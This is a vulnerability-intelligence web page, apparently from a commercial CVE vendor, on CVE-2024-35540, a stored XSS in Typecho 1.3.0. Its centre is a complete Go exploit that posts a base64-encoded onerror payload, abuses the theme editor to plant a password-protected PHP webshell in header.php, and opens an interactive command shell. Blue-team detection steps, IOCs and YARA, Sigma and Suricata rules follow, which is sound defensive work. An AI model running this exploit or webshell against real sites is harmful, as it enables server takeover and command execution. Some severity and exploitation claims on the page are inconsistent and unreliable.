☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-35540

CVE-2024-35540 is a stored cross-site scripting (XSS) vulnerability affecting Typecho version 1.
📅 PUBLISHED: 2024-08-20 00:00 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 2.83%
👁️
2.83% probability
70.8× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-35540 is a stored cross-site scripting (XSS) vulnerability affecting Typecho version 1.3.0. An authenticated attacker can inject arbitrary JavaScript into a blog post, which executes when an administrator views the post preview. The provided exploit code demonstrates a full chain: the XSS payload modifies the active theme file to inject a PHP webshell, granting the attacker remote code execution on the server. This vulnerability is publicly exploited with a working proof-of-concept (PoC) and has no known patch, making it a critical risk for all Typecho 1.3.0 installations.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Typecho is a PHP-based open-source blogging platform. The vulnerability exists in the core application, not in a third-party package. However, the lack of an official patch means users must rely on manual mitigations or third-party security modules. The exploit targets the theme editor functionality, which is a core component.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Requires an authenticated user account.
  • User Interaction (UI): Required (R) – The admin must visit the crafted preview URL.
  • Scope (S): Changed (C) – The XSS impacts the admin session, leading to code execution.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No direct impact on availability.

CVSS Score: 5.4 (Medium) – However, the full exploit chain elevates this to a critical risk due to the resulting RCE.

Deep Dive & Mechanics

The vulnerability resides in the post creation and preview functionality. The application fails to sanitize user-supplied input in the text field of a blog post. When an administrator views the preview of a post containing a crafted payload, the stored XSS triggers.

The exploit code (provided in the Hacker Arsenal) demonstrates a sophisticated attack:

  1. Authentication: The attacker must have a valid session cookie for a user with post creation privileges.
  2. Payload Generation: The exploit generates a JavaScript payload that:
    • Creates a hidden iframe pointing to the theme editor (/admin/theme-editor.php).
    • Injects a PHP webshell into the active theme's header.php file.
    • The webshell is protected by a random token (password) and executes arbitrary system commands via POST requests.
  3. Post Creation: The attacker creates a new post with the malicious payload in the text field.
  4. Triggering: The attacker sends the preview URL to an administrator. When the admin visits the URL, the XSS executes, modifying the theme file.
  5. Webshell Access: The attacker can now send POST requests to any page on the site with the correct token to execute system commands.

The vulnerability is a classic stored XSS (CWE-79) but is weaponized into a full RCE by abusing the theme editor's write access.

Vulnerable vs. Patched Code

Vulnerable Code (Typecho 1.3.0): The text field in the post editor is not sanitized or escaped before being stored and rendered in the preview. The application likely uses echo $post->text; or similar without proper HTML encoding.

// Vulnerable: No sanitization
echo $post->text;

Patched Code (Hypothetical): A patch would require HTML encoding of user input before rendering. Using htmlspecialchars() or a templating engine with auto-escaping would prevent XSS.

// Patched: HTML encode output
echo htmlspecialchars($post->text, ENT_QUOTES, 'UTF-8');

Additionally, the theme editor should enforce strict content security policies (CSP) and validate that only administrators can modify theme files.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A running Typecho 1.3.0 instance (e.g., Docker image joyqi/typecho).
  • Valid credentials for a user with post creation privileges.
  • The attacker's machine with Go installed.

Steps:

  1. Obtain Session Cookie: Log in to Typecho as a user and capture the session cookie (e.g., PHPSESSID=...).
  2. Run the Exploit:
    go run CVE-2024-35540.go http://target.com "PHPSESSID=abc123"
    
  3. Follow Output: The script will output a preview URL. Send this URL to an admin (simulated in lab).
  4. Trigger XSS: The admin visits the URL. The exploit injects the webshell.
  5. Interactive Shell: The script will detect the webshell and provide an interactive shell:
    $ whoami
    www-data
    $ ls -la /var/www/html
    

Exploit Code (Full):

package main

import (
    "bufio"
    "bytes"
    "crypto/rand"
    "crypto/sha256"
    "encoding/base64"
    "fmt"
    "net/http"
    "net/url"
    "os"
    "strings"
    "time"
)

var (
    postTitle       string = "Reflected XSS PoC"
    postText        string = "Hey admin! Look at the draft of this blog post, can I publish it?"
    userAgent       string = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
    client          *http.Client = &http.Client{
        CheckRedirect: func(req *http.Request, via []*http.Request) error {
            return http.ErrUseLastResponse
        },
    }
)

func getEditUrl(u string, cookies string) string {
    req, err := http.NewRequest("GET", u+"/admin/write-post.php", nil)
    if err != nil {
        fmt.Println("[X] Error creating initial request:", err)
        return ""
    }

    req.Header.Set("Cookie", cookies)
    req.Header.Set("User-Agent", userAgent)

    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("[X] Error sending initial request:", err)
        return ""
    }

    buf := new(bytes.Buffer)
    buf.ReadFrom(resp.Body)
    body := buf.String()

    if !strings.Contains(body, "<form action=\"") {
        fmt.Println("[X] Error finding post edit URL")
        return ""
    }

    editUrl := strings.Split(body, "<form action=\"")[1]
    editUrl = strings.Split(editUrl, "\"")[0]

    return editUrl
}

func generateRandomBytes() string {
    bytes := make([]byte, 64)
    rand.Read(bytes)
    return fmt.Sprintf("%x", sha256.Sum256(bytes))
}

func getJsCode(password string) string {
    phpPayload := `
        header("X-Random-Token: " . md5(uniqid()));
        if (isset($_POST["CSRFToken"]) && $_POST["CSRFToken"] === "%s") {
            if (isset($_POST["action"])) {
                system($_POST["action"]);
                exit;
            }
        }
    `
    phpPayload = fmt.Sprintf(phpPayload, password)
    jsPayload := `
        var i = document.createElement('iframe');
        i.src = location.protocol+'//'+location.host+'/admin/theme-editor.php';
        i.style.display = 'none';
        document.body.appendChild(i);

        setTimeout(() => {
            var textarea = i.contentWindow.document.getElementById('content');
            if (textarea.value.includes(payload))
                return;

            textarea.value = textarea.value.replace(/<\?php/, '<?php ' + payload);

            var form = i.contentWindow.document.getElementById('theme').submit();
        }, 200);
    `
    return fmt.Sprintf("var payload = `%s`;\n%s", phpPayload, jsPayload)
}

func generatePayload(jsCode string) string {
    remainder := len(jsCode) % 3
    if remainder != 0 {
        jsCode += strings.Repeat(" ", 3-remainder)
    }
    jsCodeEncoded := base64.StdEncoding.EncodeToString([]byte(jsCode))
    return fmt.Sprintf("[<img style=\"display:none\" src=x onerror=\"eval(atob('%s'))\">][1]\n[1]: https://google.com", jsCodeEncoded)
}

func createPost(u string, cookies string, payload string) string {
    formData := url.Values{}
    formData.Set("title", postTitle)
    formData.Set("text", payload+"\n"+postText)
    formData.Set("do", "save")
    formData.Set("markdown", "1")
    formData.Set("category%5B%5D", "1")
    formData.Set("allowComment", "1")
    formData.Set("allowPing", "1")
    formData.Set("allowFeed", "1")
    formData.Set("dst", "60")
    formData.Set("timezone", "7200")

    req, err := http.NewRequest("POST", u, strings.NewReader(formData.Encode()))
    if err != nil {
        fmt.Println("[X] Error creating malicious post creation request:", err)
        return ""
    }

    req.Header.Set("Cookie", cookies)
    req.Header.Set("User-Agent", userAgent)
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
    req.Header.Set("Referer", strings.Replace(strings.Split(u, ".php")[0], "index", "admin/write-post.php", 1))

    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("[X] Error sending malicious post creation request:", err)
        return ""
    }

    defer resp.Body.Close()
    return resp.Header.Get("Location")
}

func checkInjected(u string) bool {
    req, err := http.NewRequest("HEAD", u, nil)
    if err != nil {
        return false
    }

    req.Header.Set("User-Agent", userAgent)

    resp, err := client.Do(req)
    if err != nil {
        return false
    }

    return resp.Header.Get("X-Random-Token") != ""
}

func readInput() string {
    scanner := bufio.NewScanner(os.Stdin)
    if scanner.Scan() {
        return scanner.Text()
    }
    return ""
}

func interactiveShell(u string, password string) {
    for {
        fmt.Print("$ ")
        cmd := readInput()

        formData := url.Values{}
        formData.Set("CSRFToken", password)
        formData.Set("action", cmd)

        req, err := http.NewRequest("POST", u, strings.NewReader(formData.Encode()))
        if err != nil {
            fmt.Println("[X] Error creating shell request:", err)
            continue
        }

        req.Header.Set("User-Agent", userAgent)
        req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
        req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))

        resp, err := client.Do(req)
        if err != nil {
            fmt.Println("[X] Error sending shell request:", err)
            continue
        }

        buf := new(bytes.Buffer)
        buf.ReadFrom(resp.Body)
        body := buf.String()

        fmt.Println(body)
    }
}

func main() {
    if len(os.Args) != 3 {
        fmt.Println("Usage: go run CVE-2024-35540.go <URL> <COOKIE_HEADER_VALUE>")
        os.Exit(1)
    }

    fmt.Println("[+] Starting Typecho <= 1.3.0 Stored XSS exploit (CVE-2024-35540) by cyberaz0r")

    targetUrl := os.Args[1]
    cookies := os.Args[2]

    fmt.Println("[*] Getting post edit URL with CSRF token...")
    editUrl := getEditUrl(targetUrl, cookies)
    if editUrl == "" {
        fmt.Println("[-] Could not get post edit URL, exiting...")
        return
    }

    fmt.Println("[+] Edit URL:", editUrl)

    password := generateRandomBytes()
    fmt.Println("[+] Generated password to access the webshell: ", password)

    fmt.Println("[*] Generating JavaScript code to inject webshell...")
    jsCode := getJsCode(password)
    payload := generatePayload(jsCode)

    fmt.Println("[*] Creating malicious post...")
    postUrl := createPost(editUrl, cookies, payload)
    if postUrl == "" || postUrl == "/" {
        fmt.Println("[-] Could not create malicious post, exiting...")
        return
    }

    previewUrl := strings.Replace(postUrl, "write-post.php", "preview.php", 1)
    fmt.Println("[+] Malicious post created successfully!")
    fmt.Println("[i] Send this preview URL to the admin to trigger the XSS:\n" + previewUrl)

    fmt.Println("[*] Waiting for the admin to visit the preview URL...")
    for !checkInjected(targetUrl) {
        time.Sleep(1 * time.Second)
    }

    fmt.Println("[+] Webshell injected successfully!")
    fmt.Println("[+] Enjoy your shell ;)\n")
    interactiveShell(targetUrl, password)
}

Blue Team (Defense & Detection)

Detection Steps:

  1. Monitor Post Content: Look for posts containing base64-encoded strings or <img onerror= patterns.
  2. Monitor Theme File Changes: Alert on modifications to header.php or other theme files, especially if they contain system() or exec() calls.
  3. Monitor HTTP Headers: The webshell sets a custom header X-Random-Token. Detect any response containing this header.
  4. Log Analysis: Review web server logs for POST requests to /admin/write-post.php with unusual payloads, and subsequent POST requests to any page with CSRFToken and action parameters.

Mitigation Steps:

  1. Input Sanitization: Apply HTML encoding to all user-supplied content before rendering.
  2. Content Security Policy (CSP): Implement a strict CSP that blocks inline scripts and restricts iframe sources.
  3. Disable Theme Editor: Remove or restrict access to the theme editor for non-admin users.
  4. Web Application Firewall (WAF): Deploy rules to block XSS payloads and base64-encoded JavaScript.
  5. Update: Monitor for an official patch and apply it immediately when available.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • POST requests to /admin/write-post.php with text parameter containing eval(atob(.
    • HTTP responses with header X-Random-Token: <md5_hash>.
    • POST requests to any page with parameters CSRFToken and action.
  • File System IOCs:

    • Modified theme files (e.g., /usr/share/nginx/html/usr/themes/default/header.php) containing:
      <?php header("X-Random-Token: " . md5(uniqid())); if (isset($_POST["CSRFToken"]) && $_POST["CSRFToken"] === "<random>") { if (isset($_POST["action"])) { system($_POST["action"]); exit; } } ?>
      
  • Log IOCs:

    • Web server logs showing POST /admin/write-post.php with do=save and text containing base64 strings.
    • Repeated POST requests to the same URL with CSRFToken and action parameters.

Detection Engineering

YARA Rule

rule CVE_2024_35540_Webshell_Injection {
    meta:
        description = "Detects webshell injection in Typecho theme files"
        author = "Valters IT"
        date = "2024-08-18"
        reference = "CVE-2024-35540"
    strings:
        $php_webshell = "header(\"X-Random-Token:\""
        $system_call = "system($_POST[\"action\"]"
        $csrf_check = "\$_POST[\"CSRFToken\"]"
    condition:
        all of them
}

Sigma Rule

title: Typecho Stored XSS Leading to Webshell Injection
id: 8f4a3b2c-1d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects exploitation of CVE-2024-35540 via post content and theme file changes
author: Valters IT
date: 2024/08/18
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection_post:
        cs-method: 'POST'
        c-uri: '/admin/write-post.php'
        cs-uri-query|contains: 'do=save'
        cs-uri-query|contains: 'text='
    selection_xss:
        cs-uri-query|contains: 'eval(atob('
    selection_webshell:
        cs-method: 'POST'
        cs-uri-query|contains: 'CSRFToken='
        cs-uri-query|contains: 'action='
    condition: selection_post and selection_xss or selection_webshell
falsepositives:
    - Legitimate use of base64 encoding in posts (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-35540 Typecho Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/admin/write-post.php"; http_uri; content:"do=save"; http_client_body; content:"eval(atob("; nocase; classtype:web-application-attack; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-35540 Webshell Access Detected"; flow:to_server,established; content:"POST"; http_method; content:"CSRFToken="; http_client_body; content:"action="; http_client_body; classtype:attempted-admin; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-35540 Webshell Response Header"; flow:from_server,established; content:"X-Random-Token"; http_header; classtype:successful-admin; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the theme editor by removing or restricting access to /admin/theme-editor.php via .htaccess or web server configuration.
  2. Apply input sanitization to all user-supplied content. Use htmlspecialchars() or a templating engine with auto-escaping.
  3. Implement a Content Security Policy (CSP) that blocks inline scripts and restricts iframe sources.
  4. Monitor for suspicious activity using the provided IOCs and detection rules.

Long-Term Fix:

  • The vendor (Typecho) must release an official patch that sanitizes the text field and prevents XSS. Until then, consider migrating to a different blogging platform or applying the mitigations above.

Valters IT Signature: This report was generated by Valters IT DevSecOps & CTI Expert System. For questions, contact: security@valters.it

{/* [Security Hash: 767EAA8C2EC7079CF2253EB5] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-35540/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.